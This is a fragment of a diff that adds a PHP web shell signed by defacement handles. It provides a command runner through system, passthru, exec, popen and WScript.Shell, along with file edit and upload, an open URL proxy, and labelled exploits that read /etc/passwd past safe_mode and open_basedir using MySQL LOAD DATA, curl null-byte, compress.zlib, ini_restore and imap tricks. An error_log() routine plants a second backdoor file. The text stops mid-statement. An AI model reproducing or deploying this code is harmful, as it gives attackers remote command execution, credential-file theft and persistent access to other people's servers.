get_cfg_var('register_globals'); +if ($onoff != 1) { + @extract($_POST, EXTR_SKIP); + @extract($_GET, EXTR_SKIP); +} +$mohajer = getcwd(); +$self = $_SERVER['PHP_SELF']; +$dis_func = get_cfg_var("disable_functions"); + +/////////////////////////////// + // +$mysql_use = "no"; //"yes" // +$mhost = "localhost"; // +$muser = "shellci_user"; // +$mpass = "shellci_pass"; // +$mdb = "shellci_db"; // + // +/////////////////////////////// + + +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + + + +if (empty($_POST['phpinfo'] )) { + }else{ + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()"; + exit; +} + + +if (isset($_POST['url'])) { + $proxycontents = @file_get_contents($_POST['url']); + echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>?�?????? URL ?�?????�???�?�?�</b></p></center></body>"; + exit; +} + +if (empty($_POST['erne'] ) ) { + }ELSE{ + $action = '?action=erne'; + echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td><center><font size='6' color='#D0D0D0'> +Powered By Erne, KingDefacer, Ekin0x, Mohajer22, Ja ( Turkey, Suudi Iraq )<br><br>"; + + echo "</font></center></td></tr></table> "; + + exit; + } +if (empty($_POST['command'] ) ) { + }ELSE{ + if (substr(PHP_OS, 0, 3) == 'WIN') { + $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe"; + $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"; + + echo "</form>\n"; + } +$tb = new FORMS; + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top'); +$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='ernealizm' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); +$tb->tablefooter(); +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>command [ system , shell_exec , passthru , Wscript.Shell , exec , popen ]</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + +$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); + + echo"<tr class='secondalt'><td align='center'><textarea name='textarea' cols='100' rows='25' readonly>"; + + if ($_POST['command'] ) { + + if ($execfunc=="system") { + system($_POST['command']); + } elseif ($execfunc=="passthru") { + passthru($_POST['command']); + } elseif ($execfunc=="exec") { + $result = exec($_POST['command']); + echo $result; + } elseif ($execfunc=="shell_exec") { + $result=shell_exec($_POST['command']); + echo $result; + } elseif ($execfunc=="popen") { + $pp = popen($_POST['command'], 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + } elseif ($execfunc=="wscript") { + $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed"); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command'].""); + $stdout = $exec->StdOut(); + $stroutput = $stdout->ReadAll(); + echo $stroutput; + } else { + system($_POST['command']); + } + + } + +echo"</textarea></td></tr></form></table>"; + exit; +}//end shell + +if ($_POST['editfile']){ +$fp = fopen($_POST['editfile'], "r"); +$filearr = file($_POST['editfile']); + +foreach ($filearr as $string){ + +$content = $content . $string; +} + +echo "<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUEST_URI' method='POST'><textarea name=content cols=122 rows=20>";echo htmlentities($content); echo"</textarea>"; +echo"<input type='hidden' name='dir' value='" . getcwd() ."'> +<input type='hidden' name='savefile' value='{$_POST['editfile']}'><br> +<input type='submit' name='submit' value='Save'></form></center>"; + +fclose($fp); +} + + +if($_POST['savefile']){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "<center><div id=logostrip>Successfully saved!</div></center>"; + +} +if ($doupfile) { + echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "?�???�?�?�?�?��?�!" : "?�???�?�???�?�?�!"; +} + + +elseif (($createdirectory) AND !empty($_POST['newdirectory'])) { + if (!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if (file_exists("$mkdirs")) { + echo "can't make dir"; + } else { + echo (@mkdir("$mkdirs",0777)) ? "ok" : ""; + @chmod("$mkdirs",0777); + } + } +} + +///////// +$pathname=str_replace('\\','/',dirname(__FILE__)); + +//////// +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_post['dir']; + $nowpath = getPath($pathname, $dir); +} + +/////// +$dir_writeable = (dir_writeable($nowpath)) ? "m" : "mm"; +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; +$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"mohajer22</a>" : ""; + +$tb = new FORMS; + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top'); +$tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value=' dir ' id=input><INPUT type='submit'name='erne' value='erne ' id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>"); +$tb->tablefooter(); +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>'.$tb->makehidden('dir', getcwd() ).' '.$tb->makeinput('editfile').' '.$tb->makeinput('Edit','Duzenle','','submit'))); + + +$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>'.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','Ekle','','submit').$tb->makeinput('uploaddir',$dir,'','hidden'))); + +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','yenidizin','','submit'))); +$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen'); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit'))); + +$tb->tdbody ("</td></tr></table>"); +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { + + + $tb->tableheader(); +echo"<tr bgcolor='#D0D0D0'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>"; + +$dirs=@opendir($dir); +$dir_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="1"){ + if($file!=".." && $file!=".") { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + $dirperm=substr(base_convert(fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">&lt;dir&gt;</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$dirperm</span></td>\n"; + echo "</tr>\n"; + $dir_i++; + } else { + if($file=="..") { + echo "<tr class=".getrowbg().">\n"; + echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Up dir</a></td>\n"; + echo "</tr>\n"; + } + } + } +}// while +@closedir($dirs); + +echo"<tr bgcolor='#cccccc'><td colspan='6' height='5'></td></tr><FORM method='POST'>"; + +$dirs=@opendir($dir); +$file_i = '0'; +while ($file=@readdir($dirs)) { + $filepath="$dir/$file"; + $a=@is_dir($filepath); + if($a=="0"){ + $size=@filesize($filepath); + $size=$size/1024 ; + $size= @number_format($size, 3); + if (@filectime($filepath) == @filemtime($filepath)) { + $ctime=@date("Y-m-d H:i:s",@filectime($filepath)); + $mtime=@date("Y-m-d H:i:s",@filemtime($filepath)); + } else { + $ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>"; + $mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>"; + } + @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">"; + echo "<INPUT type=checkbox value=1 name=dl[$filepath]>"; + echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n"; + if ($file == 'config.php') { + + echo "<a href=\"$filepath\" target=\"_blank\"><font color='yellow'>$file<STRONG></STRONG></a></td>\n"; + } + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n"; + echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n"; + echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$fileperm</span></td>\n"; + echo "</tr>\n"; + $file_i++; + + + } +}// while +@closedir($dirs); + +echo "</FORM>\n"; +echo "</table>\n"; +}// end dir + + + + + + + + function debuginfo() { + global $starttime; + $mtime = explode(' ', microtime()); + $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); + echo "Processed in $totaltime second(s)"; + } + + + function stripslashes_array(&$array) { + while(list($key,$var) = each($array)) { + if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { + if (is_string($var)) { + $array[$key] = stripslashes($var); + } + if (is_array($var)) { + $array[$key] = stripslashes_array($var); + } + } + } + return $array; + } + + + function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + return (@rmdir($deldir)) ? 1 : 0; + } + + + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } + return implode('/', $mainpath_info); + } + + + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return "No"; + break; + case 1: + return "Yes"; + break; + default: + return $result; + break; + } + } + + + function getfun($funName) { + return (false !== function_exists($funName)) ? "Yes" : "No"; + } + + + class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//???�?????�? ?�?? + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, "r"); + $content = @fread ($fd, filesize ($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + + $fr .= $zdata; + + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } + } + + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } + + class FORMS { + function tableheader() { + echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n"; + } + + function headerform($arg=array()) { + global $dir; + if ($arg[enctype]){ + $enctype="enctype=\"$arg[enctype]\""; + } else { + $enctype=""; + } + if (!isset($arg[method])) { + $arg[method] = "POST"; + } + if (!isset($arg[action])) { + $arg[action] = ''; + } + echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n"; + echo " <tr>\n"; + echo " <td>".$arg[content]."</td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + } + + function tdheader($title) { + global $dir; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">?�mohajer</a>]</b></td>\n"; + echo " </tr>\n"; + } + + function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { + if ($bgcolor=='2') { + $css="secondalt"; + } elseif ($bgcolor=='1') { + $css="firstalt"; + } else { + $css=$bgcolor; + } + $height = empty($height) ? "" : " height=".$height; + $colspan = empty($colspan) ? "" : " colspan=".$colspan; + echo " <tr class=\"".$css."\">\n"; + echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n"; + echo " </tr>\n"; + } + + function tablefooter() { + echo "</table>\n"; + } + + function formheader($action='',$title,$target='') { + global $dir; + $target = empty($target) ? "" : " target=\"".$target."\""; + echo " <form action=\"$action\" method=\"POST\"".$target.">\n"; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">?�?�?�??</a>]</b></td>\n"; + echo " </tr>\n"; + } + + function makehidden($name,$value=''){ + echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n"; + } + + function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n"; + return $input; + } + function makeid($name,$value='',$extra='',$type='select',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<select name=plugin><option>cat /etc/passwd</option></select>"; + return $input; + } + function makeimp($name,$value='',$extra='',$type='select',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>"; + return $input; + } + function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ + $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n"; + return $textarea; + } + + function formfooter($over='',$height=''){ + $height = empty($height) ? "" : " height=\"".$height."\""; + echo " <tr class=\"secondalt\">\n"; + echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value='mohajer'></td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + echo $end = empty($over) ? "" : "</table>\n"; + } + + function makeselect($arg = array()){ + if ($arg[multiple]==1) { + $multiple = " multiple"; + if ($arg[size]>0) { + $size = "size=$arg[size]"; + } + } + if ($arg[css]==0) { + $css = "class=\"input\""; + } + $select = "<select $css name=\"$arg[name]\"$multiple $size>\n"; + if (is_array($arg[option])) { + foreach ($arg[option] AS $key=>$value) { + if (!is_array($arg[selected])) { + if ($arg[selected]==$key) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + + } elseif (is_array($arg[selected])) { + if ($arg[selected][$key]==1) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + } + } + } + $select .= "</select>\n"; + return $select; + } + } + + + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: read file [SQL , id , CURL , copy , ini_restore , imap] & Make file ERORR</b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + + +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file :</FONT><br>' .$tb->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file id:</FONT><br>' .$tb->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file CURL:</FONT><br>' .$tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file copy:</FONT><br>' .$tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file ini_restore:</FONT><br>' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file or dir with imap:</FONT><br>' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/passwd' ).$tb->makeinput('string','Show','','submit'))); +$tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Make file ERORR:</FONT><br>' .$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit'))); + +// read file SQL ( ) // +if(empty($_POST['Mohajer22'])){ +} else { +echo "read file SQL","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$file=$_POST['Mohajer22']; + + +$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; +$mysql_files = explode(':', $mysql_files_str); + +$sql = array ( +"USE $mdb", +'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', +"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " +. "TERMINATED BY '__THIS_NEVER_HAPPENS__' " +. "ESCAPED BY '' " +. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", + +"SELECT a FROM $tbl LIMIT 1" +); +mysql_connect ($mhost, $muser, $mpass); + + foreach ($sql as $statement) { + $q = mysql_query ($statement); + + if ($q == false) die ( + "FAILED: " . $statement . "\n" . + "REASON: " . mysql_error () . "\n" + ); + + if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; + + echo htmlspecialchars($r[0]); + mysql_free_result ($q); + } +echo "</textarea>"; +} +// ERORR // +if(empty($_POST['ER'])){ +} else { +$ERORR=$_POST['ER']; +echo error_log(" +<html> +<head> +<title> Exploit: error_log() By * erne * </title> +<body bgcolor=\"#000000\"> +<table Width='100%' height='10%' bgcolor='#D0D0D0' border='1'> +<tr> +<td><center><font size='6' color='#BBB516'> By erne </font></center></td> +</tr> +</table> +<font color='#9C9C9C'> +</head> +<? +if(\$fileup == \"\"){ +ECHO \" reade for up \"; +}else{ +\$path= exec(\"pwd\"); +\$path .= \"/\$fileup_name\"; +\$CopyFile = copy(\$fileup,\"\$path\"); +if(\$CopyFile){ +echo \" up ok \"; +}else{ +echo \" no up \"; +} +} +if(empty(\$_POST['m'])){ +} else { +\$m=\$_POST['m']; +echo system(\$m); +} +if(empty(\$_POST['cmd'])){ +} else { +\$h= \$_POST['cmd']; + print include(\$h) ; +} +?> +<form method='POST' enctype='multipart/form-data' > +<input type='file' name='fileup' size='20'> +<input type='submit' value=' up '> +</form> +<form method='POST' > +<input type='cmd' name='cmd' size='20'> +<input type='submit' value=' open (shill.txt) '> +</form> +<form method='POST' enctype='multipart/form-data' > +<input type='text' name='m' size='20'> +<input type='submit' value=' run '> +<input type='reset' value=' reset '> +</form> +", 3,$ERORR); +} + +// id // +if ($_POST['plugin'] ){ +echo "read file id" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + + + + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "\n"; + } + } + echo "</textarea>"; + break; + + + } + + +// CURL // +if(empty($_POST['curl'])){ + +} else { +echo "read file CURL","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +echo "</textarea>"; +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +echo "read file copy" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +echo "</textarea>"; +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +} + +/// ini_restore // +if(empty($_POST['M2'])){ +} else { +echo "read file ini_restore","<br> "; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; +$m=$_POST['M2']; +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +$s=readfile("$m"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +$s=readfile("$m"); +echo "</textarea>"; +} + +// imap // + +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +echo "read file imap" ,"<br>"; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "<pre>".$str."</pre>"; +imap_close($stream); +echo "</textarea>"; +} elseif ($string && $switch == "dir") { +echo "read dir imap","<br>" ; +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) 